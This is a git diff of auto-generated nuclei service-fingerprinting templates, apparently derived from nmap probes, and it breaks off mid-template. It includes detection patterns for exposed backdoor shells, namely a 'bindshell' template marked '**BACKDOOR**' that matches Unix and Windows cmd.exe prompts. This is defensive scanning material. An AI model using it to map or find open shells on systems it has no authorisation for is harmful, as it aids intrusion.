detect,tech,afp,service + severity: info + metadata: + info: 'name: $1; protocol 3.4; Mac OS X 10.6; MacBook Pro' + operating_system: Mac OS X + product: afp_server + rarity: 6 + vendor: apple + verified: true +tcp: +- name: wmsrequest + inputs: + - data: \x01\0\0\xfd\xce\xfa\x0b\xb0\xa0\0\0\0MMS\x14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x12\0\0\0\x01\0\x03\0\xf0\xf0\xf0\xf0\x0b\0\x04\0\x1c\0\x03\0N\0S\0P\0l\0a\0y\0e\0r\0/\09\0.\00\0.\00\0.\02\09\08\00\0;\0 \0{\00\00\00\00\0A\0A\00\00\0-\00\0A\00\00\0-\00\00\0a\00\0-\0A\0A\00\0A\0-\00\00\00\00\0A\00\0A\0A\00\0A\0A\00\0}\0\0\0\xe0\x6d\xdf\x5f + host: + - '{{Hostname}}' + port: 1549,1755,5001,9090 + extractors: + - name: afp + type: regex + regex: + - (?i)^\x01\x03\0\x4e........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*MacBookPro\d+,\d+\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06\tDHCAST128\x04DHX2\x06Recon1\rClient Krb v2\x03GSS\x0fNo User Authent.*\x1b\$not_defined_in_RFC4178@please_ignore$ diff --git a/nuclei-templates/Other/2259185335.yaml b/nuclei-templates/Other/2259185335.yaml deleted file mode 100644 index 65d992c78d..0000000000 --- a/nuclei-templates/Other/2259185335.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: ca-mq -info: - name: CA Message Queuing Server - author: nmap,cn-kali-team - tags: detect,tech,ca-mq,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: ca-mq - type: regex - regex: - - ^ACK\x01 diff --git a/nuclei-templates/Other/2262855421.yaml b/nuclei-templates/Other/2262855421.yaml new file mode 100644 index 0000000000..a95a1d3148 --- /dev/null +++ b/nuclei-templates/Other/2262855421.yaml @@ -0,0 +1,24 @@ +id: drawpile +info: + name: DrawPile + author: nmap,cn-kali-team + tags: detect,tech,drawpile,service + severity: info + metadata: + info: 'protocol 3; flags: $1' + product: drawpile + rarity: 0 + vendor: calle_laakkonen + verified: true + version: 0.7.0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: drawpile + type: regex + regex: + - (?i)^..\0DRAWPILE 3 ([A-Z,]+) diff --git a/nuclei-templates/Other/2265594678.yaml b/nuclei-templates/Other/2265594678.yaml deleted file mode 100644 index 44d33210b8..0000000000 --- a/nuclei-templates/Other/2265594678.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: jboss-remoting -info: - name: JBoss Remoting - author: nmap,cn-kali-team - tags: detect,tech,jboss-remoting,service - severity: info - metadata: - hostname: $1 - info: JBoss management interface - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: jboss-remoting - type: regex - regex: - - ^\0\0\0.\0\0.([\w.-]+)$ diff --git a/nuclei-templates/Other/229645619.yaml b/nuclei-templates/Other/229645619.yaml deleted file mode 100644 index a23395073b..0000000000 --- a/nuclei-templates/Other/229645619.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: synergy -info: - name: Synergy KVM switch - author: nmap,cn-kali-team - tags: detect,tech,synergy,service - severity: info - metadata: - info: encrypted - rarity: 0 - version: '>1.4.11' -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: synergy - type: regex - regex: - - (?i)^\0\0\0\x0b.{11}$ diff --git a/nuclei-templates/Other/2300926386.yaml b/nuclei-templates/Other/2300926386.yaml deleted file mode 100644 index 8526de78fb..0000000000 --- a/nuclei-templates/Other/2300926386.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: honeypot -info: - name: honeyd cmdexe.pl - author: nmap,cn-kali-team - tags: detect,tech,honeypot,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: honeypot - type: regex - regex: - - ^Microsoft Windows XP \[Version [\d.]+\]\n\(C\) Copyright 1985-\d+ Microsoft Corp\.\n\nC:\\> diff --git a/nuclei-templates/Other/230418335.yaml b/nuclei-templates/Other/230418335.yaml new file mode 100644 index 0000000000..902214ff49 --- /dev/null +++ b/nuclei-templates/Other/230418335.yaml @@ -0,0 +1,21 @@ +id: ubiquiti-discovery +info: + name: Ubiquiti Discovery Service + author: nmap,cn-kali-team + tags: detect,tech,ubiquiti-discovery,service + severity: info + metadata: + info: v2 protocol, $1 + rarity: 9 +tcp: +- name: ubiquiti-discoveryv2 + inputs: + - data: \x02\x08\0\0 + host: + - '{{Hostname}}' + port: '10001' + extractors: + - name: ubiquiti-discovery + type: regex + regex: + - (?i)^\x02[\x06\x09\x0b].[^\0].*\x15\0.([\w-]+) diff --git a/nuclei-templates/Other/2317842004.yaml b/nuclei-templates/Other/2317842004.yaml new file mode 100644 index 0000000000..a90fe2551a --- /dev/null +++ b/nuclei-templates/Other/2317842004.yaml @@ -0,0 +1,20 @@ +id: cvspserver +info: + name: CVS pserver + author: nmap,cn-kali-team + tags: detect,tech,cvspserver,service + severity: info + metadata: + info: broken + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: cvspserver + type: regex + regex: + - '^Unknown command: `pserver''\n\nCVS commands are:\n' diff --git a/nuclei-templates/Other/2321887670.yaml b/nuclei-templates/Other/2321887670.yaml new file mode 100644 index 0000000000..095a949609 --- /dev/null +++ b/nuclei-templates/Other/2321887670.yaml @@ -0,0 +1,23 @@ +id: monetdb +info: + name: MonetDB + author: nmap,cn-kali-team + tags: detect,tech,monetdb,service + severity: info + metadata: + info: protocol $1; little-endian + product: monetdb + rarity: 0 + vendor: monetdb + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: monetdb + type: regex + regex: + - '^.\0[^:]+:merovingian:(\d+):[^:]+:LIT:' diff --git a/nuclei-templates/Other/2340800564.yaml b/nuclei-templates/Other/2340800564.yaml new file mode 100644 index 0000000000..b4e08d6080 --- /dev/null +++ b/nuclei-templates/Other/2340800564.yaml @@ -0,0 +1,19 @@ +id: hptsvr +info: + name: HighPoint RAID management service + author: nmap,cn-kali-team + tags: detect,tech,hptsvr,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: hptsvr + type: regex + regex: + - ^\(\0\0\0\0\0\0\0..`\0\x01\xff\xff\xff\xcc\xfa\x85\0C\x1d\xe6whfnk\.\.\.E\0\0\0\0\0\0\0\0$ diff --git a/nuclei-templates/Other/2344692490.yaml b/nuclei-templates/Other/2344692490.yaml deleted file mode 100644 index 89b1d474f5..0000000000 --- a/nuclei-templates/Other/2344692490.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: shell -info: - name: HP-UX Remshd - author: nmap,cn-kali-team - tags: detect,tech,shell,service - severity: info - metadata: - info: Kerberos disabled - operating_system: HP-UX - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: shell - type: regex - regex: - - '^\x01remshd: Kerberos Authentication not enabled\.\n' diff --git a/nuclei-templates/Other/2360475771.yaml b/nuclei-templates/Other/2360475771.yaml new file mode 100644 index 0000000000..63b685c1d2 --- /dev/null +++ b/nuclei-templates/Other/2360475771.yaml @@ -0,0 +1,20 @@ +id: andro-mouse +info: + name: AndroMouse Android remote mouse server + author: nmap,cn-kali-team + tags: detect,tech,andro-mouse,service + severity: info + metadata: + rarity: 9 +tcp: +- name: andro-mouse + inputs: + - data: AMSNIFF + host: + - '{{Hostname}}' + port: '8888' + extractors: + - name: andro-mouse + type: regex + regex: + - (?i)^GOTBACK$ diff --git a/nuclei-templates/Other/2364411192.yaml b/nuclei-templates/Other/2364411192.yaml deleted file mode 100644 index 1d99bec8ac..0000000000 --- a/nuclei-templates/Other/2364411192.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: kvm -info: - name: Raritan KVM - author: nmap,cn-kali-team - tags: detect,tech,kvm,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: kvm - type: regex - regex: - - ^\0\0\0\x0b\0 diff --git a/nuclei-templates/Other/2368634975.yaml b/nuclei-templates/Other/2368634975.yaml new file mode 100644 index 0000000000..9e8432bbfc --- /dev/null +++ b/nuclei-templates/Other/2368634975.yaml @@ -0,0 +1,20 @@ +id: synergy +info: + name: Synergy KVM + author: nmap,cn-kali-team + tags: detect,tech,synergy,service + severity: info + metadata: + info: plaintext + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: synergy + type: regex + regex: + - ^\0\0\0\x0bSynergy\0\x01\0 diff --git a/nuclei-templates/Other/2378325249.yaml b/nuclei-templates/Other/2378325249.yaml new file mode 100644 index 0000000000..1c262ba0d9 --- /dev/null +++ b/nuclei-templates/Other/2378325249.yaml @@ -0,0 +1,20 @@ +id: textui +info: + name: Satel INT-TSI keypad telnetd + author: nmap,cn-kali-team + tags: detect,tech,textui,service + severity: info + metadata: + device_type: security-misc + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: textui + type: regex + regex: + - ^l\0o\0g\0i\0n\0 \0a\0s\0:\0 \0 diff --git a/nuclei-templates/Other/2388374085.yaml b/nuclei-templates/Other/2388374085.yaml deleted file mode 100644 index f267d3f880..0000000000 --- a/nuclei-templates/Other/2388374085.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: misys-loaniq -info: - name: Misys Loan IQ - author: nmap,cn-kali-team - tags: detect,tech,misys-loaniq,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: misys-loaniq - type: regex - regex: - - ^Loan IQ %1 Request Server - Ready for Request\0 diff --git a/nuclei-templates/Other/2389631301.yaml b/nuclei-templates/Other/2389631301.yaml deleted file mode 100644 index 835106aed0..0000000000 --- a/nuclei-templates/Other/2389631301.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: jetbrains-lock -info: - name: PyCharm socket lock - author: nmap,cn-kali-team - tags: detect,tech,jetbrains-lock,service - severity: info - metadata: - info: 'user: $1' - product: pycharm - rarity: 0 - vendor: jetbrains - verified: true - version: $2 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: jetbrains-lock - type: regex - regex: - - ^\0./home/([^/]+)/\.PyCharm([\d.]+)/config\0./.*/system\0\x03--- diff --git a/nuclei-templates/Other/2394430912.yaml b/nuclei-templates/Other/2394430912.yaml deleted file mode 100644 index 84faf5ce77..0000000000 --- a/nuclei-templates/Other/2394430912.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: pcp -info: - name: SGI Performance Co-Pilot - author: nmap,cn-kali-team - tags: detect,tech,pcp,service - severity: info - metadata: - product: performance_co-pilot - rarity: 0 - vendor: sgi - verified: true -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: pcp - type: regex - regex: - - (?i)^\0\0\0\x14\0\0p\0\0\0..\xff\xff\xfc\x11\x02\x000a diff --git a/nuclei-templates/Other/2403781003.yaml b/nuclei-templates/Other/2403781003.yaml new file mode 100644 index 0000000000..65e09c3799 --- /dev/null +++ b/nuclei-templates/Other/2403781003.yaml @@ -0,0 +1,25 @@ +id: misys-loaniq +info: + name: Misys Loan IQ + author: nmap,cn-kali-team + tags: detect,tech,misys-loaniq,service + severity: info + metadata: + fallback: + - get-request + info: built $2; portdaem port $3; free memory $6/$5 MB; $4 + operating_system: Windows + rarity: 8 + version: $1 +tcp: +- name: sslv23-session-req + inputs: + - data: \x80\x9e\x01\x03\x01\x00u\x00\x00\x00 \x00\x00f\x00\x00e\x00\x00d\x00\x00c\x00\x00b\x00\x00:\x00\x009\x00\x008\x00\x005\x00\x004\x00\x003\x00\x002\x00\x00/\x00\x00\x1b\x00\x00\x1a\x00\x00\x19\x00\x00\x18\x00\x00\x17\x00\x00\x16\x00\x00\x15\x00\x00\x14\x00\x00\x13\x00\x00\x12\x00\x00\x11\x00\x00\n\x00\x00\t\x00\x00\x08\x00\x00\x06\x00\x00\x05\x00\x00\x04\x00\x00\x03\x07\x00\xc0\x06\x00@\x04\x00\x80\x03\x00\x80\x02\x00\x80\x01\x00\x80\x00\x00\x02\x00\x00\x01\xe4i<+\xf6\xd6\x9b\xbb\xd3\x81\x9f\xbf\x15\xc1@\xa5o\x14,M \xc4\xc7\xe0\xb6\xb0\xb2\x1f\xf9)\xe8\x98 + host: + - '{{Hostname}}' + port: 443,444,465,548,636,989,990,992,993,994,995,1241,1311,2000,4433,4444,5550,7210,7272,8009,8194,8443,9001 + extractors: + - name: misys-loaniq + type: regex + regex: + - '^\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0\0#sJ\0\0\0\0\0\0#\0\0\0Invalid time string: \n\0\0\0..sJ\0\0\0\0\0\0..\0\0\n Misys Loan IQ ([\w._-]+) \(Server\)\n Build : for Windows using Oracle \(built: (\w\w\w \d\d \d\d\d\d_\d\d:\d\d:\d\d) \([\w._-]+@[\w._-]+-C:\\[^)]*\)\)\n Patch Info : \[(?:[\w._-]+(?:, )?)+\]\n\n Environment name: \w+ Prime - \w+\n ADMCP Primary node: \w+; Secondary node: \w+; Portdaem Port = (\d+)\n\n Current time: [^\n]*\n On: \w+ \([\w._-]+\)\n OS: (Microsoft Windows[^\n]*)\n MEMORY \(Tot/Free\) : ([\d.]+) / ([\d.]+) MB\n\n Last Logger Start : [^\n]*\n L$' diff --git a/nuclei-templates/Other/2404683166.yaml b/nuclei-templates/Other/2404683166.yaml index 345695fb49..7948780831 100644 --- a/nuclei-templates/Other/2404683166.yaml +++ b/nuclei-templates/Other/2404683166.yaml @@ -1,24 +1,19 @@ id: login info: - name: IQinVision IQeye3 logind + name: OpenBSD or Solaris rlogind author: nmap,cn-kali-team tags: detect,tech,login,service severity: info metadata: - device_type: webcam - fallback: - - dnsstatus-request - rarity: 7 - version: version $1 + rarity: 0 tcp: -- name: dnsstatus-request-tcp +- name: 'null' inputs: - - data: \0\x0C\0\0\x10\0\0\0\0\0\0\0\0\0 + - data: '' host: - '{{Hostname}}' - port: 53,513,514,6050,41523 extractors: - name: login type: regex regex: - - ^\0\r\n\nIQinVision IQeye3 Version ([vV].*)\n\r\nType HELP + - '^\x01rlogind: Permission denied\.\r\n' diff --git a/nuclei-templates/Other/2407633105.yaml b/nuclei-templates/Other/2407633105.yaml new file mode 100644 index 0000000000..aff3b9f7e4 --- /dev/null +++ b/nuclei-templates/Other/2407633105.yaml @@ -0,0 +1,22 @@ +id: realplayfavs +info: + name: RealPlayer Shared Favorites + author: nmap,cn-kali-team + tags: detect,tech,realplayfavs,service + severity: info + metadata: + product: realplayer + rarity: 0 + vendor: real + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: realplayfavs + type: regex + regex: + - '^_realplayfavs_::' diff --git a/nuclei-templates/Other/2423614041.yaml b/nuclei-templates/Other/2423614041.yaml new file mode 100644 index 0000000000..09358e586e --- /dev/null +++ b/nuclei-templates/Other/2423614041.yaml @@ -0,0 +1,20 @@ +id: bitcoin +info: + name: Dash cryptocurrency server + author: nmap,cn-kali-team + tags: detect,tech,bitcoin,service + severity: info + metadata: + info: Bitcoin fork + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: bitcoin + type: regex + regex: + - ^\xbf\x0ck\xbdgetsporks\0\0\0\0\0\0\0\]\xf6\xe0\xe2 diff --git a/nuclei-templates/Other/2424742596.yaml b/nuclei-templates/Other/2424742596.yaml deleted file mode 100644 index d5d152e368..0000000000 --- a/nuclei-templates/Other/2424742596.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: iss-realsecure -info: - name: ISS RealSecure IDS Server Sensor - author: nmap,cn-kali-team - tags: detect,tech,iss-realsecure,service - severity: info - metadata: - operating_system: Windows - product: realsecure_server_sensor - rarity: 0 - vendor: iss - verified: true -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: iss-realsecure - type: regex - regex: - - (?i)^\0\0\0.\x08\x01\x03\x01\0.\x02\0\0..\0\0.\0\0\0..\0\0\x80\x04..\0.\0\xa0 diff --git a/nuclei-templates/Other/2506314282.yaml b/nuclei-templates/Other/2506314282.yaml new file mode 100644 index 0000000000..b58fcae1a0 --- /dev/null +++ b/nuclei-templates/Other/2506314282.yaml @@ -0,0 +1,19 @@ +id: loginserver +info: + name: L2J loginserver + author: nmap,cn-kali-team + tags: detect,tech,loginserver,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: loginserver + type: regex + regex: + - (?i)^\xba\0.{184}$ diff --git a/nuclei-templates/Other/2523211837.yaml b/nuclei-templates/Other/2523211837.yaml deleted file mode 100644 index ddfcf2c8cd..0000000000 --- a/nuclei-templates/Other/2523211837.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: upnp -info: - name: Cisco-Linksys E4200 WAP upnpd - author: nmap,cn-kali-team - tags: detect,tech,upnp,service - severity: info - metadata: - fallback: - - get-request - info: UPnP $1 - rarity: 5 -tcp: -- name: sipoptions - inputs: - - data: 'OPTIONS sip:nm SIP/2.0\r\nVia: SIP/2.0/TCP nm;branch=foo\r\nFrom: ;tag=root\r\nTo: \r\nCall-ID: 50000\r\nCSeq: 42 OPTIONS\r\nMax-Forwards: 70\r\nContent-Length: 0\r\nContact: \r\nAccept: application/sdp\r\n\r\n' - host: - - '{{Hostname}}' - port: 406,5060,8081,31337 - extractors: - - name: upnp - type: regex - regex: - - '^HTTP/1\.1 501 Unimplemented\r\nServer: unspecified, UPnP/([\w._-]+), unspecified\r\nConnection: close\r\nContent-Length: 0\r\n\r\n' diff --git a/nuclei-templates/Other/2536045577.yaml b/nuclei-templates/Other/2536045577.yaml new file mode 100644 index 0000000000..5e7c2af77a --- /dev/null +++ b/nuclei-templates/Other/2536045577.yaml @@ -0,0 +1,19 @@ +id: pop3-proxy +info: + name: Reivernet captive portal pop3 proxy + author: nmap,cn-kali-team + tags: detect,tech,pop3-proxy,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: pop3-proxy + type: regex + regex: + - ^-ERR Not Enrolled\r\rPlease open your internet browser and accept the terms and conditions of use for this service\.\r\n diff --git a/nuclei-templates/Other/806566235.yaml b/nuclei-templates/Other/2561678402.yaml similarity index 100% rename from nuclei-templates/Other/806566235.yaml rename to nuclei-templates/Other/2561678402.yaml diff --git a/nuclei-templates/Other/2565774650.yaml b/nuclei-templates/Other/2565774650.yaml new file mode 100644 index 0000000000..2641feea7b --- /dev/null +++ b/nuclei-templates/Other/2565774650.yaml @@ -0,0 +1,24 @@ +id: jetbrains-lock +info: + name: CLion socket lock + author: nmap,cn-kali-team + tags: detect,tech,jetbrains-lock,service + severity: info + metadata: + info: 'user: $1' + product: clion + rarity: 0 + vendor: jetbrains + verified: true + version: $2 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: jetbrains-lock + type: regex + regex: + - ^\0./home/([^/]+)/\.CLion([\d.]+)/config\0./.*/system\0\x03--- diff --git a/nuclei-templates/Other/2596613775.yaml b/nuclei-templates/Other/2596613775.yaml deleted file mode 100644 index db0b7644e7..0000000000 --- a/nuclei-templates/Other/2596613775.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: textui -info: - name: Huawei UGW - author: nmap,cn-kali-team - tags: detect,tech,textui,service - severity: info - metadata: - info: 'time zone: $1' - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: textui - type: regex - regex: - - ^\+\+\+ UGW-HUAWEI *\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d ([A-Z]+)\r\nO&M diff --git a/nuclei-templates/Other/2598929970.yaml b/nuclei-templates/Other/2598929970.yaml new file mode 100644 index 0000000000..b7d76d0dd8 --- /dev/null +++ b/nuclei-templates/Other/2598929970.yaml @@ -0,0 +1,20 @@ +id: nntp +info: + name: nntp//rss nntpd + author: nmap,cn-kali-team + tags: detect,tech,nntp,service + severity: info + metadata: + rarity: 0 + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: nntp + type: regex + regex: + - ^200 nntp//rss v([\d.]+) news server ready\r\n diff --git a/nuclei-templates/Other/2604822861.yaml b/nuclei-templates/Other/2604822861.yaml new file mode 100644 index 0000000000..7935ff7813 --- /dev/null +++ b/nuclei-templates/Other/2604822861.yaml @@ -0,0 +1,20 @@ +id: wifi-mouse +info: + name: WiFi Mouse + author: nmap,cn-kali-team + tags: detect,tech,wifi-mouse,service + severity: info + metadata: + operating_system: Mac OS X + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: wifi-mouse + type: regex + regex: + - (?i)^system\x20mac\x2010\.9\nversion\x201\.5\.0\.0\n$ diff --git a/nuclei-templates/Other/2605552894.yaml b/nuclei-templates/Other/2605552894.yaml new file mode 100644 index 0000000000..c936119ed3 --- /dev/null +++ b/nuclei-templates/Other/2605552894.yaml @@ -0,0 +1,20 @@ +id: vmware-auth +info: + name: VMware Authentication Daemon + author: nmap,cn-kali-team + tags: detect,tech,vmware-auth,service + severity: info + metadata: + rarity: 0 + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: vmware-auth + type: regex + regex: + - (?i)^220 VMware Authentication Daemon Version (\d[-.\w]+).*\r\n530 Please login with USER and PASS\.\r\n diff --git a/nuclei-templates/Other/2609104929.yaml b/nuclei-templates/Other/2609104929.yaml index f830c7c587..4d658cf7db 100644 --- a/nuclei-templates/Other/2609104929.yaml +++ b/nuclei-templates/Other/2609104929.yaml @@ -1,16 +1,14 @@ id: eggdrop info: - name: Eggdrop irc bot console + name: Eggdrop IRC bot console author: nmap,cn-kali-team tags: detect,tech,eggdrop,service severity: info metadata: - info: 'botname: $1' product: eggdrop rarity: 0 vendor: eggheads verified: true - version: $2 tcp: - name: 'null' inputs: @@ -21,4 +19,4 @@ tcp: - name: eggdrop type: regex regex: - - ^(?:\xff\xfb\x05\n)?\r\n\r\n([-`|.\w]+) \(Eggdrop v(\d[-.\w]+) +\([cC]\) *1997 + - Copyright \(C\) 1997 Robey Pointer\r\n.*Eggheads diff --git a/nuclei-templates/Other/2611711157.yaml b/nuclei-templates/Other/2611711157.yaml new file mode 100644 index 0000000000..3bbd50fbd2 --- /dev/null +++ b/nuclei-templates/Other/2611711157.yaml @@ -0,0 +1,19 @@ +id: nmea-0183 +info: + name: NMEA 0183 GPS data + author: nmap,cn-kali-team + tags: detect,tech,nmea-0183,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: nmea-0183 + type: regex + regex: + - ^\$GP[A-Z]{3},[\w.,]+\*[A-F\d]{2}\r\n diff --git a/nuclei-templates/Other/2628791080.yaml b/nuclei-templates/Other/2628791080.yaml index 7451e14fbe..3bde5ea240 100644 --- a/nuclei-templates/Other/2628791080.yaml +++ b/nuclei-templates/Other/2628791080.yaml @@ -1,13 +1,14 @@ id: bindshell info: - name: bind shell + name: Microsoft Windows cmd.exe author: nmap,cn-kali-team tags: detect,tech,bindshell,service severity: info metadata: info: '**BACKDOOR**' - operating_system: Unix + operating_system: Windows rarity: 0 + version: $1 tcp: - name: 'null' inputs: @@ -18,4 +19,4 @@ tcp: - name: bindshell type: regex regex: - - '^(?:ba)?sh: no job control in this shell\n(?:ba)?sh-\d\.\d+\w?\$ $' + - ^Microsoft Windows \[Version ([\d.]+)\]\r\n\(C\) Copyright 1985-20\d\d Microsoft Corp\.\r\n\r\n diff --git a/nuclei-templates/Other/2665208443.yaml b/nuclei-templates/Other/2665208443.yaml deleted file mode 100644 index 4155e78ca3..0000000000 --- a/nuclei-templates/Other/2665208443.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: hddtemp -info: - name: hddtemp hard drive info server - author: nmap,cn-kali-team - tags: detect,tech,hddtemp,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: hddtemp - type: regex - regex: - - ^\|/dev/[hs]\w\w\| diff --git a/nuclei-templates/Other/267664501.yaml b/nuclei-templates/Other/267664501.yaml deleted file mode 100644 index b8831d1c35..0000000000 --- a/nuclei-templates/Other/267664501.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: zebra -info: - name: Quagga routing software - author: nmap,cn-kali-team - tags: detect,tech,zebra,service - severity: info - metadata: - product: quagga - rarity: 0 - vendor: quagga - verified: true -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: zebra - type: regex - regex: - - ^Vty password is not set\.\r\n$ diff --git a/nuclei-templates/Other/2686182842.yaml b/nuclei-templates/Other/2686182842.yaml deleted file mode 100644 index d8b716fa42..0000000000 --- a/nuclei-templates/Other/2686182842.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: wifi-mouse -info: - name: WiFi Mouse - author: nmap,cn-kali-team - tags: detect,tech,wifi-mouse,service - severity: info - metadata: - operating_system: Windows - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: wifi-mouse - type: regex - regex: - - (?i)^system\x20windows\x206\.1\nversion\x201\.\x205\.\x200\.\x200\n$ diff --git a/nuclei-templates/Other/2690074150.yaml b/nuclei-templates/Other/2690074150.yaml new file mode 100644 index 0000000000..943525cc07 --- /dev/null +++ b/nuclei-templates/Other/2690074150.yaml @@ -0,0 +1,19 @@ +id: hddtemp +info: + name: hddtemp hard drive info server + author: nmap,cn-kali-team + tags: detect,tech,hddtemp,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: hddtemp + type: regex + regex: + - ^\|$ diff --git a/nuclei-templates/Other/2697533097.yaml b/nuclei-templates/Other/2697533097.yaml deleted file mode 100644 index 6ed23c679d..0000000000 --- a/nuclei-templates/Other/2697533097.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: avg -info: - name: AVG daemon mode - author: nmap,cn-kali-team - tags: detect,tech,avg,service - severity: info - metadata: - info: Virus DB $3 - product: anti-virus - rarity: 0 - vendor: avg - verified: true - version: $1 engine $2 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: avg - type: regex - regex: - - '^220-AVG7 Anti-Virus daemon mode scanner\r\n220-Program version ([\d.]+), engine (\d+)\r\n220-Virus Database: Version ([\d/.]+) [-\d]+\r\n' diff --git a/nuclei-templates/Other/2698047753.yaml b/nuclei-templates/Other/2698047753.yaml deleted file mode 100644 index 34c8ed134b..0000000000 --- a/nuclei-templates/Other/2698047753.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: afbackup -info: - name: afbackup - author: nmap,cn-kali-team - tags: detect,tech,afbackup,service - severity: info - metadata: - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: afbackup - type: regex - regex: - - ^afbackup ([\d.]+)\n\nAF's backup server ready\.\n diff --git a/nuclei-templates/Other/2699563637.yaml b/nuclei-templates/Other/2699563637.yaml deleted file mode 100644 index 6782edab79..0000000000 --- a/nuclei-templates/Other/2699563637.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: crestron-ctp -info: - name: Crestron MC2E automation system text ui - author: nmap,cn-kali-team - tags: detect,tech,crestron-ctp,service - severity: info - metadata: - device_type: specialized - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: crestron-ctp - type: regex - regex: - - ^\r\nMC2E Control Console\r\n diff --git a/nuclei-templates/Other/2703184064.yaml b/nuclei-templates/Other/2703184064.yaml new file mode 100644 index 0000000000..a0b6f3bdb7 --- /dev/null +++ b/nuclei-templates/Other/2703184064.yaml @@ -0,0 +1,24 @@ +id: securepath +info: + name: HP StorageWorks SecurePath + author: nmap,cn-kali-team + tags: detect,tech,securepath,service + severity: info + metadata: + info: unauthorized + operating_system: Windows + product: storageworks_secure_path + rarity: 0 + vendor: hp + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: securepath + type: regex + regex: + - ^Unauthorized client; connection refused\n diff --git a/nuclei-templates/Other/2703944587.yaml b/nuclei-templates/Other/2703944587.yaml deleted file mode 100644 index fcc53352ab..0000000000 --- a/nuclei-templates/Other/2703944587.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: distccd -info: - name: distccd - author: nmap,cn-kali-team - tags: detect,tech,distccd,service - severity: info - metadata: - info: 'broken: compiler $1 doesn''t exist' - rarity: 8 -tcp: -- name: dist-ccd - inputs: - - data: 